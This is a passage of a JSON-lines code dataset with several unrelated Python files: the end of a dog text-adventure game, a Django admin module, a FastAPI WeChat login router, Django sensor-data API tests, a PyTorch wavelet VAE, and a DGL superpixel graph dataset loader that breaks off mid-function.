Nice.\")\n\t\tprint(\"Wait, you were looking for something, right?\")\n\t\tsleep(3.75)\n\t\tprint(\"\\n\\n\")\n\t\tprint(\"Hmmm if only you could remember...\")\n\t\tsleep(2.75)\n\t\tprint(\"\\n\\n\")\n\t\tinput(\"Press [enter] to continue......\")\n\telif really_bored == 2:\n\t\treally_bored = 0\n\t\tsleep(2.0)\n\t\tprint(\"\\nMan, being a dog can really get boring quite often.\")\n\t\tprint(\"Surely there's gotta be something interesting to do.\\n\")\n\t\tsleep(4.0)\n\t\tprint(\"You sniff around for something... anything...\")\n\t\tprint(\"Hang on, what were you doing again?\")\n\t\tsleep(3.0)\n\t\tprint(\"\\n\\n\")\n\t\tprint(\"Nothing comes to mind\")\n\t\tsleep(2.0)\n\t\tprint(\"\\n\\n\")\n\t\tinput(\"Press [enter] to continue......\")\n\telse:\n\t\tsleep(1.0)\n\t\tdead(\"There's only so many times you can handle being bored... time for a nap. \\n\")\n\ndef clear_screen():\n\n\tsystem = platform.system()\n\n\tif system == \"Linux\" or system == \"Darwin\":\n\t\tos.system(\"clear\")\n\telif system == \"Windows\":\n\t\tos.system(\"cls\")\n\n\tprint(\"\\n \t\t ***** Adventure Dog *****\\n\")\n\tprint(\"Enter [Q] at any prompt to leave the game or [R] to restart the game.\\n\")\t\t\n\ndef change_room(room, amt = 6.0):\n\tsleep(amt)\n\tclear_screen()\n\troom()\n\ndef dead(msg):\n\tprint(msg, \"RIP\")\n\tprint(\"\\n\\nPlay again? Y/N\")\n\n\tchoice = check_input()\n\n\tif choice.lower() == \"y\":\n\t\treturn restart()\n\telif choice.lower() == \"n\":\n\t\texit(0)\n\telse:\n\t\tprint(\"Y or N are the only options\")\n\ndef back_to_prompt(amt = 3.0):\n\tsleep(amt)\n\tclear_screen()\n\ndef restart():\n\t# reset any persistent game state \n\tclear_screen()\n\tprint(\"\\nIn case you forgot...\")\n\tadventure()\n\texit(0)\n\ndef start():\n\tclear_screen()\n\tadventure()\n\nstart()\n\n\n\n","repo_name":"faesarah1/Adventure_Dog","sub_path":"dog_v1.py","file_name":"dog_v1.py","file_ext":"py","file_size_in_byte":11397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"38175896626","text":"from django import forms\nfrom django.contrib import admin\n\nfrom creations.models import (\n Article, BlogPost, Book, ExternalProject,\n RadioProgram, RadioProgramRerun, RadioProgramMissedDate,\n ResearchCategory, Research, SoundRecording,\n SpeakingProgram, WebPage)\nfrom utils.admin import empty_filter\n\n\nBASIC_FIELDSET = (None, {'fields': (\n 'title',\n 'description',\n 'is_favorite',\n)})\n\nBASIC_FIELDSET_WITH_SLUG = (None, {'fields': (\n 'title',\n 'slug',\n 'description',\n 'is_favorite',\n)})\n\nTAGGING_FIELDSET = ('Tagging', {'fields': (\n 'species',\n 'tags',\n)})\n\n\nclass ArticleAdmin(admin.ModelAdmin):\n\n list_display = (\n 'title',\n 'date_published',\n 'published_by'\n )\n\n filter_horizontal = (\n 'species',\n )\n\n fieldsets = (\n BASIC_FIELDSET,\n ('Details', {'fields': (\n 'published_by',\n 'date_published',\n 'url',\n 'file',\n 'text',\n )}),\n TAGGING_FIELDSET,\n )\n\n\nclass BlogPostAdmin(admin.ModelAdmin):\n\n list_display = (\n 'title',\n 'url',\n )\n\n filter_horizontal = (\n 'species',\n )\n\n fieldsets = (\n BASIC_FIELDSET,\n ('Details', {'fields': (\n 'url',\n )}),\n TAGGING_FIELDSET,\n )\n\n\nclass BookAdmin(admin.ModelAdmin):\n\n list_display = (\n 'title',\n 'slug',\n 'date_published',\n )\n\n filter_horizontal = (\n 'species',\n )\n\n prepopulated_fields = {\n 'slug': ('title',),\n }\n\n fieldsets = (\n BASIC_FIELDSET_WITH_SLUG,\n ('Details', {'fields': (\n 'published_by',\n 'date_published',\n 'isbn_10',\n 'isbn_13',\n 'purchase_url',\n 'cover_photo',\n )}),\n TAGGING_FIELDSET,\n )\n\n\nclass ExternalProjectAdmin(admin.ModelAdmin):\n\n list_display = (\n 'title',\n 'url',\n 'display_order',\n )\n\n list_editable = (\n 'display_order',\n )\n\n filter_horizontal = (\n 'species',\n )\n\n fieldsets = (\n BASIC_FIELDSET,\n ('Details', {'fields': (\n 'url',\n )}),\n TAGGING_FIELDSET,\n )\n\n\nclass AirYearListFilter(admin.SimpleListFilter):\n \"\"\"\n Admin list filter to filter by air_date year.\n \"\"\"\n\n title = 'air date year'\n parameter_name = 'air_date'\n\n def lookups(self, request, model_admin):\n qs = model_admin.get_queryset(request)\n date_list = qs.dates('air_date', 'year')\n return [(d.year, d.year) for d in reversed(date_list)]\n\n def queryset(self, request, queryset):\n if self.value():\n return queryset.filter(air_date__year=self.value())\n else:\n return queryset\n\n\nclass RadioProgramRerunInline(admin.TabularInline):\n\n model = RadioProgramRerun\n\n\nclass RadioProgramAdmin(admin.ModelAdmin):\n\n list_display = (\n 'title',\n 'air_date',\n 'date_is_estimate',\n 'file',\n 'has_blog_url',\n 'has_transcript',\n 'get_number_of_reruns',\n )\n\n list_filter = (\n 'date_is_estimate',\n empty_filter('file'),\n empty_filter('blog_url'),\n empty_filter('transcript'),\n AirYearListFilter,\n )\n\n search_fields = (\n 'title',\n )\n\n filter_horizontal = (\n 'species',\n )\n\n inlines = [RadioProgramRerunInline]\n\n fieldsets = (\n BASIC_FIELDSET,\n ('Details', {'fields': (\n 'air_date',\n 'date_is_estimate',\n 'file',\n 'blog_url',\n 'transcript',\n )}),\n TAGGING_FIELDSET,\n )\n\n\nclass RadioProgramMissedDateAdmin(admin.ModelAdmin):\n\n list_display = (\n 'air_date',\n 'text',\n )\n\n search_fields = (\n 'text',\n )\n\n\nclass ResearchCategoryAdmin(admin.ModelAdmin):\n\n list_display = (\n 'name',\n )\n\n\nclass ResearchAdmin(admin.ModelAdmin):\n\n list_display = (\n 'title',\n 'category',\n 'attribution',\n 'date',\n 'url',\n )\n\n list_filter = (\n 'category',\n )\n\n search_fields = (\n 'title',\n 'attribution',\n 'description',\n )\n\n filter_horizontal = (\n 'species',\n )\n\n fieldsets = (\n BASIC_FIELDSET,\n ('Details', {'fields': (\n 'category',\n 'is_public',\n 'date',\n 'attribution',\n 'url',\n 'file',\n 'text',\n )}),\n TAGGING_FIELDSET,\n )\n\n\nclass SoundRecordingAdmin(admin.ModelAdmin):\n\n list_display = (\n 'title',\n 'date_recorded',\n 'location',\n 'duration',\n 'file',\n )\n\n search_fields = (\n 'title',\n 'location',\n 'description',\n )\n\n filter_horizontal = (\n 'species',\n )\n\n fieldsets = (\n BASIC_FIELDSET,\n ('Details', {'fields': (\n 'file',\n 'date_recorded',\n 'location',\n )}),\n TAGGING_FIELDSET,\n )\n\n\nclass SpeakingProgramAdmin(admin.ModelAdmin):\n\n list_display = (\n 'title',\n 'slug',\n )\n\n filter_horizontal = (\n 'species',\n )\n\n prepopulated_fields = {\n 'slug': ('title',)\n }\n\n fieldsets = (\n BASIC_FIELDSET_WITH_SLUG,\n TAGGING_FIELDSET,\n )\n\n\nclass WebPageAdminForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n super(WebPageAdminForm, self).__init__(*args, **kwargs)\n self.fields['content'].widget = admin.widgets.AdminTextareaWidget(\n attrs={'cols': 100, 'rows': 100, 'style': 'font-size: 14px;'})\n\n\nclass WebPageAdmin(admin.ModelAdmin):\n\n list_display = (\n 'title',\n 'slug',\n 'display_order',\n )\n\n list_editable = (\n 'display_order',\n )\n\n filter_horizontal = (\n 'species',\n )\n\n prepopulated_fields = {\n 'slug': ('title',)\n }\n\n fieldsets = (\n BASIC_FIELDSET_WITH_SLUG,\n ('Details', {'fields': (\n 'is_public',\n 'display_title',\n 'date_published',\n 'content',\n )}),\n TAGGING_FIELDSET,\n )\n\n form = WebPageAdminForm\n\n\nadmin.site.register(Article, ArticleAdmin)\nadmin.site.register(BlogPost, BlogPostAdmin)\nadmin.site.register(Book, BookAdmin)\nadmin.site.register(ExternalProject, ExternalProjectAdmin)\nadmin.site.register(RadioProgram, RadioProgramAdmin)\nadmin.site.register(RadioProgramMissedDate, RadioProgramMissedDateAdmin)\nadmin.site.register(ResearchCategory, ResearchCategoryAdmin)\nadmin.site.register(Research, ResearchAdmin)\nadmin.site.register(SoundRecording, SoundRecordingAdmin)\nadmin.site.register(SpeakingProgram, SpeakingProgramAdmin)\nadmin.site.register(WebPage, WebPageAdmin)\n","repo_name":"katur/forthebirds","sub_path":"creations/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":6806,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"10626267104","text":"from typing import Optional, List\n\nfrom fastapi import APIRouter, Depends\nfrom pydantic import BaseModel\nfrom starlette.requests import Request\n\nfrom common.response import StructuredResponse\nfrom config.connections import get_db\nfrom common.user_service import WechatUserService, get_current_user, UserUpdateSchema, UserType, UserInfoSchema\n\nrouter = APIRouter()\n\n\n@router.get('/login/info', summary='登录 小程序code获取用户信息与token ')\n@router.get('/login', summary='登录 小程序code获取token')\ndef login(code: str, request: Request, db=Depends(get_db)):\n info = True if request.url.path.endswith('info') else False\n user_info = WechatUserService(db).get_token(code, info=info)\n return user_info\n\n\n@router.get('/info',\n response_model=UserInfoSchema,\n summary='查看用户信息', description='请求头 Authorization: Bearer token')\ndef userinfo(current_user: get_current_user = Depends(), db=Depends(get_db)):\n user = WechatUserService(db).load_user(openid=current_user.openid)\n return user\n\n\n@router.get('/mobile', summary='手机号注册', description='code 通过微信getPhoneNumber获取')\ndef usermobile(code, db=Depends(get_db), current_user: get_current_user = Depends()):\n user = WechatUserService(db).update_user_mobile(current_user.openid, code)\n return user\n\n\n@router.post('/update',\n response_model=UserInfoSchema,\n summary='更新用户信息 昵称 头像 手机号'\n )\ndef update_userinfo(userinfo: UserUpdateSchema, current_user: get_current_user = Depends(), db=Depends(get_db)):\n user = WechatUserService(db).update_user(openid=current_user.openid, userinfo=userinfo)\n return user\n\n\n@router.post('/stat',\n summary='t')\nasync def stat():\n return {'status': 'running v8'}\n","repo_name":"bluemeat0724/fast_template","sub_path":"{{cookiecutter.proj_name}}/apis/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"6836635284","text":"import json\nimport jwt\nfrom datetime import datetime\n\nfrom django.conf import settings\nfrom rest_framework.test import APITestCase\n\nfrom sensor.models import SensorData\n\n\nclass BaseClientCase(APITestCase):\n def setUp(self) -> None:\n self.token = jwt.encode({'payload': 'payload'}, settings.SENSOR_JWT_SECRET, algorithm='HS256')\n\n\nclass TestListSensorData(BaseClientCase):\n def setUp(self) -> None:\n super().setUp()\n self.sensor_data_1 = SensorData.objects.create(sensor_id=1, dwell_time=12.12, timestamp=datetime.now())\n self.sensor_data_2 = SensorData.objects.create(sensor_id=23, dwell_time=12.12, timestamp=datetime.now())\n\n def test_list(self):\n response = self.client.get(\n '/api/v1/sensordata/',\n HTTP_SENSOR_TOKEN=str(self.token)\n\n )\n self.assertEqual(response.status_code, 200)\n self.assertEqual(len(response.json()), 2)\n\n def test_filtered_list(self):\n response = self.client.get(\n f'/api/v1/sensordata/?sensor_id={self.sensor_data_1.sensor_id}',\n HTTP_SENSOR_TOKEN=str(self.token)\n )\n self.assertEqual(response.status_code, 200)\n self.assertEqual(len(response.json()), 1)\n\n\nclass TestCreateSensorData(BaseClientCase):\n def test_create(self):\n \"\"\"Test creating sensor data object with correct data\"\"\"\n response = self.client.post(\n '/api/v1/sensordata/',\n HTTP_SENSOR_TOKEN=str(self.token),\n data=json.dumps({\n \"message\": {\n \"attributes\": {\n \"key\": \"value\"\n },\n \"data\": \"eyJzZXJpYWwiOiAiMDAwMTAwMDAwMTAwIiwgImFwcGxpY2F0aW9uIjogMTEsICJUaW1lIjogIjIwMjItMTEtMDhUMDQ6MDA6MDQuMzE3ODAxIiwgIlR5cGUiOiAieGtndyIsICJkZXZpY2UiOiAiVGVzdERldmljZSIsICJ2MCI6IDEwMDAxMywgInYxIjogMC42OSwgInYyIjogMS4zMSwgInYzIjogMC4xOCwgInY0IjogMCwgInY1IjogMC44LCAidjYiOiAwLCAidjciOiAyNjk2NSwgInY4IjogMC4xLCAidjkiOiA5Nzc1NzQ5NiwgInYxMCI6IDAsICJ2MTEiOiAwLCAidjEyIjogMS44NCwgInYxMyI6IDAsICJ2MTQiOiAwLjcsICJ2MTUiOiAxMDAxMCwgInYxNiI6IDEwMDAxMywgInYxNyI6IDI2OTY1LCAidjE4IjogMi43Mn0=\",\n \"messageId\": \"2070443601311540\",\n \"message_id\": \"2070443601311540\",\n \"publishTime\": \"2021-02-26T19:13:55.749Z\",\n \"publish_time\": \"2021-02-26T19:13:55.749Z\"\n },\n \"subscription\": \"projects/myproject/subscriptions/mysubscription\"\n\n }),\n content_type='application/json'\n )\n self.assertEqual(response.status_code, 201)\n self.assertTrue(SensorData.objects.all())\n\n def test_create_wrong_data_type(self):\n \"\"\"Test creating with wrong base64 encoded field\"\"\"\n response = self.client.post(\n '/api/v1/sensordata/',\n HTTP_SENSOR_TOKEN=str(self.token),\n data=json.dumps({\n \"message\": {\n \"attributes\": {\n \"key\": \"value\"\n },\n \"data\": \"Wrong data\",\n \"messageId\": \"2070443601311540\",\n \"message_id\": \"2070443601311540\",\n \"publishTime\": \"2021-02-26T19:13:55.749Z\",\n \"publish_time\": \"2021-02-26T19:13:55.749Z\"\n },\n \"subscription\": \"projects/myproject/subscriptions/mysubscription\"\n }),\n content_type='application/json'\n )\n self.assertEqual(response.status_code, 400)\n\n\n","repo_name":"cebanauskes/sensor_emendis","sub_path":"sensor/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"71966479084","text":"from .ops import *\nimport torch \nimport os\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom .base_model import BaseModel\nimport sys \nimport torchvision\nsys.path.append(\"../options/\")\n#from base_options import BaseOptions\nclass encoder(nn.Module):\n def __init__(self):\n super(encoder, self).__init__()\n self.encoder1 = nn.Sequential()\n self.encoder1.add_module('encoerder1', conv_block(3, 16, 3, 1, 1, name = 'encoder1'))\n for i in range(2):\n self.encoder1.add_module('encoder2', conv_block(16, 16, 3, 1, 1, name = 'encoder_2'))\n self.l = conv_block(16, 3, 3, 2, 1, name = 'l1')\n self.h = conv_block(16, 3, 3, 2, 1, name = 'l2')\n self.upsample_l = upsmapleLayer(3, 16, upsample_type = 'basic')\n self.upsample_h = upsmapleLayer(3, 16, upsample_type = 'basic')\n self.encoder_l = nn.Sequential()\n self.encoder_h = nn.Sequential()\n for i in range(3):\n if i == 2:\n self.encoder_l.add_module(str(i), conv_block(16, 3, 3, 1, 1))\n else:\n self.encoder_l.add_module(str(i), conv_block(16, 16, 3, 1,1))\n for i in range(3):\n if i == 2:\n self.encoder_h.add_module(str(i), conv_block(16, 3, 3, 1, 1))\n else:\n self.encoder_h.add_module(str(i), conv_block(16, 16, 3, 1,1))\n def forward(self, x):\n x = self.encoder1(x)\n i_l = self.l(x)\n i_h = self.h(x)\n i_l_ = self.upsample_l(i_l)\n i_h_ = self.upsample_h(i_h)\n i_l_ = self.encoder_l(i_l_)\n i_h_ = self.encoder_h(i_h_)\n o = i_h_+i_l_\n return o, i_l, i_h\n\nclass wave_vae(BaseModel):\n def __init__(self, opt):\n super(wave_vae, self).__init__(opt)\n self.encoder = encoder()\n self.opt = opt\n if self.opt.gpu_ids:\n self.encoder = self.encoder.cuda()\n self.encoder.apply(weights_init_xavier)\n self.criterionL1 = torch.nn.MSELoss()\n self.optimizer = torch.optim.SGD(self.encoder.parameters(), lr = opt.lr, momentum = 0.9, weight_decay = 0.0005)\n def name(self):\n return 'wave_vae'\n def forward(self,x):\n self.set_input(x)\n self.encoder.cuda()\n self.reconstruct, self.l, self.h = self.encoder(self.raw_input)\n def backward(self, x):\n self.forward(x)\n self.loss_recon = self.criterionL1(self.reconstruct, self.raw_input)\n self.loss_h = self.h.norm(2)\n self.total_loss = self.loss_recon + 0.0001*self.loss_h\n self.total_loss.backward()\n def update(self, x):\n self.optimizer.zero_grad()\n self.backward(x)\n self.optimizer.step()\n def set_input(self, x):\n self.raw_input = x\n if self.gpu_ids:\n self.raw_input = self.raw_input.cuda()\n self.raw_input = Variable(self.raw_input, requires_grad = False)\n def save_models(self, epoch_label):\n save_filename = '%s_net.pth'%(epoch_label)\n save_path = os.path.join(self.save_dir, save_filename)\n torch.save(self.encoder.cpu().state_dict(), save_path)\n def load_models(self, epoch_label):\n save_filename = '%s_net.pth'%(epoch_label)\n save_path = os.path.join(self.save_dir, save_filename)\n state_dict = torch.load(save_path)\n self.encoder.load_state_dict(state_dict) \n def save_imgs(self, epoch_label):\n save_path = os.path.join(self.save_dir, 'vis_imgs')\n if not os.path.exists(save_path):\n os.mkdir(save_path)\n torchvision.utils.save_image(self.l.data, os.path.join(save_path, \"%s_l.png\"%(epoch_label)))\n torchvision.utils.save_image(self.h.data, os.path.join(save_path, \"%s_h.png\"%(epoch_label)))\n torchvision.utils.save_image(self.reconstruct.data, os.path.join(save_path, \"%s_reconstruct.png\"%(epoch_label)))\n\ndef test_encoder():\n e = encoder()\n x = torch.ones((1,3, 224,224))\n x = Variable(x)\n o, l, h = e(x)\n print(o.size())\n print(l.size())\ndef test_wave_vae():\n opt = BaseOptions().parse()\n wave_vae_model = wave_vae(opt)\n for i in range(10):\n x = torch.zeros((1,3, 224, 224))\n wave_vae_model.update(x)\nif __name__ == '__main__':\n test_wave_vae()","repo_name":"BingzheWu/vae-gan-collections","sub_path":"models/wave_vae.py","file_name":"wave_vae.py","file_ext":"py","file_size_in_byte":4245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31004921453","text":"from django.core.management.base import BaseCommand\n\nfrom dbcommunication.ai.embeddings import get_embeddings_for_ontology\n\n\nclass Command(BaseCommand):\n help = 'Get embeddings for all ontology branches'\n\n def add_arguments(self, parser):\n parser.add_argument(\n '--resume',\n action='store_true',\n help='only get missing embeddings'\n )\n\n def handle(self, *args, **options):\n get_embeddings_for_ontology(self, resume=options['resume'])","repo_name":"MaxDreger92/MatGraph","sub_path":"MatGraphAI/dbcommunication/management/commands/get-embeddings-for-ontology.py","file_name":"get-embeddings-for-ontology.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"4624408951","text":"import os\nimport pickle\nfrom scipy.spatial.distance import cdist\nfrom scipy import sparse as sp\nimport numpy as np\nimport dgl\nimport torch\nimport torch.utils.data\nimport time\n\nEPS = 1e-5\n\n\ndef sigma(dists, kth=8):\n # Compute sigma and reshape\n try:\n # Get k-nearest neighbors for each node\n knns = np.partition(dists, kth, axis=-1)[:, kth::-1]\n sigma = knns.sum(axis=1).reshape((knns.shape[0], 1)) / kth\n except ValueError: # handling for graphs with num_nodes less than kth\n num_nodes = dists.shape[0]\n # this sigma value is irrelevant since not used for final compute_edge_list\n sigma = np.array([1] * num_nodes).reshape(num_nodes, 1)\n\n return sigma + 1e-8 # adding epsilon to avoid zero value of sigma\n\n\ndef compute_adjacency_matrix_images(coord, feat, use_feat=True, kth=8):\n coord = coord.reshape(-1, 2)\n # Compute coordinate distance\n c_dist = cdist(coord, coord)\n\n if use_feat:\n # Compute feature distance\n f_dist = cdist(feat, feat)\n # Compute adjacency\n A = np.exp(- (c_dist / sigma(c_dist)) ** 2 - (f_dist / sigma(f_dist)) ** 2)\n else:\n A = np.exp(- (c_dist / sigma(c_dist)) ** 2)\n\n # Convert to symmetric matrix\n A = 0.5 * (A + A.T)\n A[np.diag_indices_from(A)] = 0\n return A\n\n\ndef compute_edges_list(A, kth=8 + 1):\n # Get k-similar neighbor indices for each node\n\n num_nodes = A.shape[0]\n new_kth = num_nodes - kth\n\n if num_nodes > 9:\n knns = np.argpartition(A, new_kth - 1, axis=-1)[:, new_kth:-1]\n knn_values = np.partition(A, new_kth - 1, axis=-1)[:, new_kth:-1] # NEW\n else:\n # handling for graphs with less than kth nodes\n # in such cases, the resulting graph will be fully connected\n knns = np.tile(np.arange(num_nodes), num_nodes).reshape(num_nodes, num_nodes)\n knn_values = A # NEW\n\n # removing self loop\n if num_nodes != 1:\n knn_values = A[knns != np.arange(num_nodes)[:, None]].reshape(num_nodes, -1) # NEW\n knns = knns[knns != np.arange(num_nodes)[:, None]].reshape(num_nodes, -1)\n return knns, knn_values # NEW\n\n\nclass SuperPixDGL(torch.utils.data.Dataset):\n def __init__(self,\n data_dir,\n dataset,\n split,\n use_mean_px=True,\n use_coord=True,\n proportion=1.):\n\n self.split = split\n\n self.graph_lists = []\n\n if dataset == 'MNIST':\n self.img_size = 28\n with open(os.path.join(data_dir, 'mnist_75sp_%s.pkl' % split), 'rb') as f:\n self.labels, self.sp_data = pickle.load(f)\n self.graph_labels = torch.LongTensor(self.labels)\n elif dataset == 'CIFAR10':\n self.img_size = 32\n with open(os.path.join(data_dir, 'cifar10_150sp_%s.pkl' % split), 'rb') as f:\n self.labels, self.sp_data = pickle.load(f)\n self.graph_labels = torch.LongTensor(self.labels)\n print()\n\n self.use_mean_px = use_mean_px\n self.use_coord = use_coord\n self.n_samples = len(self.labels)\n self.proportion = proportion\n\n self._prepare()\n\n def _prepare(self):\n print(\"preparing %d graphs for the %s set...\" % (self.n_samples, self.split.upper()))\n self.Adj_matrices, self.node_features, self.edges_lists, self.edge_features = [], [], [], []\n for index, sample in enumerate(self.sp_data):\n mean_px, coord = sample[:2]\n\n try:\n coord = coord / self.img_size\n except AttributeError:\n VOC_has_variable_image_sizes = True\n\n if self.use_mean_px:\n A = compute_adjacency_matrix_images(coord, mean_px) # using super-pixel locations + features\n else:\n A = compute_adjacency_matrix_images(coord, mean_px, False) # using only super-pixel locations\n edges_list, edge_values_list = compute_edges_list(A) # NEW\n\n N_nodes = A.shape[0]\n\n mean_px = mean_px.reshape(N_nodes, -1)\n coord = coord.reshape(N_nodes, 2)\n x = np.concatenate((mean_px, coord), axis=1)\n\n edge_values_list = edge_values_list.reshape(-1) # NEW # TO DOUBLE-CHECK !\n\n self.node_features.append(x)\n self.edge_features.append(edge_values_list) # NEW\n self.Adj_matrices.append(A)\n self.edges_lists.append(edges_list)\n\n for index in range(len(self.sp_data)):\n g = dgl.DGLGraph()\n g.add_nodes(self.node_features[index].shape[0])\n g.ndata['feat'] = torch.Tensor(self.node_features[index]).half()\n\n for src, dsts in enumerate(self.edges_lists[index]):\n # handling for 1 node where the self loop would be the only edge\n # since, VOC Superpixels has few samples (5 samples) with only 1 node\n if self.node_features[index].shape[0] == 1:\n g.add_edges(src, dsts)\n else:\n g.add_edges(src, dsts[dsts != src])\n\n # adding edge features for Residual Gated ConvNet\n edge_feat_dim = g.ndata['feat'].shape[1] # dim same as node feature dim\n # g.edata['feat'] = torch.ones(g.number_of_edges(), edge_feat_dim).half()\n g.edata['feat'] = torch.Tensor(self.edge_features[index]).unsqueeze(1).half() # NEW \n\n self.graph_lists.append(g)\n\n def get_eig(self, coord_eig):\n if coord_eig:\n self.graph_lists = [coord_encoding(g) for g in self.graph_lists]\n else:\n self.graph_lists = [positional_encoding(g, 7) for g in self.graph_lists]\n self.graph_lists = sort_list_eig(self.graph_lists)\n\n # for g in self.graph_lists:\n # A = g.adjacency_matrix().to_dense()\n # g.ndata['eig'] = get_k_lowest_eig(A, 7)\n\n def __len__(self):\n \"\"\"Return the number of graphs in the dataset.\"\"\"\n return self.n_samples\n\n def __getitem__(self, idx):\n \"\"\"\n Get the idx^th sample.\n Parameters\n ---------\n idx : int\n The sample index.\n Returns\n -------\n (dgl.DGLGraph, int)\n DGLGraph with node feature stored in `feat` field\n And its label.\n \"\"\"\n return self.graph_lists[idx], self.graph_labels[idx]\n\n\nclass DGLFormDataset(torch.utils.data.Dataset):\n \"\"\"\n DGLFormDataset wrapping graph list and label list as per pytorch Dataset.\n *lists (list): lists of 'graphs' and 'labels' with same len().\n \"\"\"\n\n def __init__(self, *lists):\n assert all(len(lists[0]) == len(li) for li in lists)\n self.lists = lists\n self.graph_lists = lists[0]\n self.graph_labels = lists[1]\n\n def get_eig(self, coord_eig):\n if coord_eig:\n self.graph_lists = [coord_encoding(g) for g in self.graph_lists]\n else:\n self.graph_lists = [positional_encoding(g, 7) for g in self.graph_lists]\n self.graph_lists = sort_list_eig(self.graph_lists)\n # for g in self.graph_lists:\n # A = g.adjacency_matrix().to_dense()\n # g.ndata['eig'] = get_k_lowest_eig(A, 7)\n\n def __getitem__(self, index):\n return tuple(li[index] for li in self.lists)\n\n def __len__(self):\n return len(self.lists[0])\n\n\nclass SuperPixDatasetDGL(torch.utils.data.Dataset):\n def __init__(self, name, num_val=5000):\n \"\"\"\n Takes input standard image dataset name (MNIST/CIFAR10) \n and returns the superpixels graph.\n \n This class uses results from the above SuperPix class.\n which contains the steps for the generation of the Superpixels\n graph from a superpixel .pkl file that has been given by\n https://github.com/bknyaz/graph_attention_pool\n \n Please refer the SuperPix class for details.\n \"\"\"\n t_data = time.time()\n self.name = name\n\n use_mean_px = True # using super-pixel locations + features\n use_mean_px = False # using only super-pixel locations\n if use_mean_px:\n print('Adj matrix defined from super-pixel locations + features')\n else:\n print('Adj matrix defined from super-pixel locations (only)')\n use_coord = True\n self.test = SuperPixDGL(\"./data/superpixels\", dataset=self.name, split='test',\n use_mean_px=use_mean_px,\n use_coord=use_coord)\n\n self.train_ = SuperPixDGL(\"./data/superpixels\", dataset=self.name, split='train',\n use_mean_px=use_mean_px,\n use_coord=use_coord)\n\n _val_graphs, _val_labels = self.train_[:num_val]\n _train_graphs, _train_labels = self.train_[num_val:]\n\n self.val = DGLFormDataset(_val_graphs, _val_labels)\n self.train = DGLFormDataset(_train_graphs, _train_labels)\n\n print(\"[I] Data load time: {:.4f}s\".format(time.time() - t_data))\n\n\ndef self_loop(g):\n \"\"\"\n Utility function only, to be used only when necessary as per user self_loop flag\n : Overwriting the function dgl.transform.add_self_loop() to not miss ndata['feat'] and edata['feat']\n \n \n This function is called inside a function in SuperPixDataset class.\n \"\"\"\n new_g = dgl.DGLGraph()\n new_g.add_nodes(g.number_of_nodes())\n new_g.ndata['feat'] = g.ndata['feat']\n\n src, dst = g.all_edges(order=\"eid\")\n src = dgl.backend.zerocopy_to_numpy(src)\n dst = dgl.backend.zerocopy_to_numpy(dst)\n non_self_edges_idx = src != dst\n nodes = np.arange(g.number_of_nodes())\n new_g.add_edges(src[non_self_edges_idx], dst[non_self_edges_idx])\n new_g.add_edges(nodes, nodes)\n\n # This new edata is not used since this function gets called only for GCN, GAT\n # However, we need this for the generic requirement of ndata and edata\n new_g.edata['feat'] = torch.zeros(new_g.number_of_edges())\n return new_g\n\n\nclass SuperPixDataset(torch.utils.data.Dataset):\n\n def __init__(self, name, coord_eig=False, proportion=1., verbose=True):\n \"\"\"\n Loading Superpixels datasets\n \"\"\"\n start = time.time()\n if verbose:\n print(\"[I] Loading dataset %s...\" % (name))\n self.name = name\n data_dir = 'data/'\n with open(data_dir + name + '.pkl', \"rb\") as f:\n f = pickle.load(f)\n print(\"Total graphs training set \", len(f[0]))\n\n if proportion < 1. - 1e-5:\n l = int(len(f[0]) * proportion)\n # f[0].lists = f[0].lists[:l]\n # f[0].graph_lists = f[0].graph_lists[:l]\n # f[0].graph_labels = f[0].graph_labels[:l]\n f[0] = DGLFormDataset(f[0].graph_lists[:l], f[0].graph_labels[:l])\n\n print(\"Number of graphs used for training \", len(f[0]))\n\n f[0].get_eig(coord_eig)\n self.train = f[0]\n f[1].get_eig(coord_eig)\n self.val = f[1]\n f[2].get_eig(coord_eig)\n self.test = f[2]\n if verbose:\n print('train, test, val sizes :', len(self.train), len(self.test), len(self.val))\n print(\"[I] Finished loading.\")\n print(\"[I] Data load time: {:.4f}s\".format(time.time() - start))\n\n # form a mini batch from a given list of samples = [(graph, label) pairs]\n def collate(self, samples):\n # The input samples is a list of pairs (graph, label).\n graphs, labels = map(list, zip(*samples))\n labels = torch.tensor(np.array(labels))\n tab_sizes_n = [graphs[i].number_of_nodes() for i in range(len(graphs))]\n tab_snorm_n = [torch.FloatTensor(size, 1).fill_(1. / float(size)) for size in tab_sizes_n]\n snorm_n = torch.cat(tab_snorm_n).sqrt()\n tab_sizes_e = [graphs[i].number_of_edges() for i in range(len(graphs))]\n tab_snorm_e = [torch.FloatTensor(size, 1).fill_(1. / float(size)) for size in tab_sizes_e]\n snorm_e = torch.cat(tab_snorm_e).sqrt()\n for idx, graph in enumerate(graphs):\n graphs[idx].ndata['feat'] = graph.ndata['feat'].float()\n graphs[idx].edata['feat'] = graph.edata['feat'].float()\n batched_graph = dgl.batch(graphs)\n return batched_graph, labels, snorm_n, snorm_e\n\n def _add_self_loops(self):\n\n # function for adding self loops\n # this function will be called only if self_loop flag is True\n\n self.train.graph_lists = [self_loop(g) for g in self.train.graph_lists]\n self.val.graph_lists = [self_loop(g) for g in self.val.graph_lists]\n self.test.graph_lists = [self_loop(g) for g in self.test.graph_lists]\n\n self.train = DGLFormDataset(self.train.graph_lists, self.train.graph_labels)\n self.val = DGLFormDataset(self.val.graph_lists, self.val.graph_labels)\n self.test = DGLFormDataset(self.test.graph_lists, self.test.graph_labels)\n\n\ndef positional_encoding(g, pos_enc_dim):\n \"\"\"\n Graph positional encoding v/ Laplacian eigenvectors\n \"\"\"\n\n # Laplacian\n A = g.adjacency_matrix_scipy(return_edge_ids=False).astype(float)\n N = 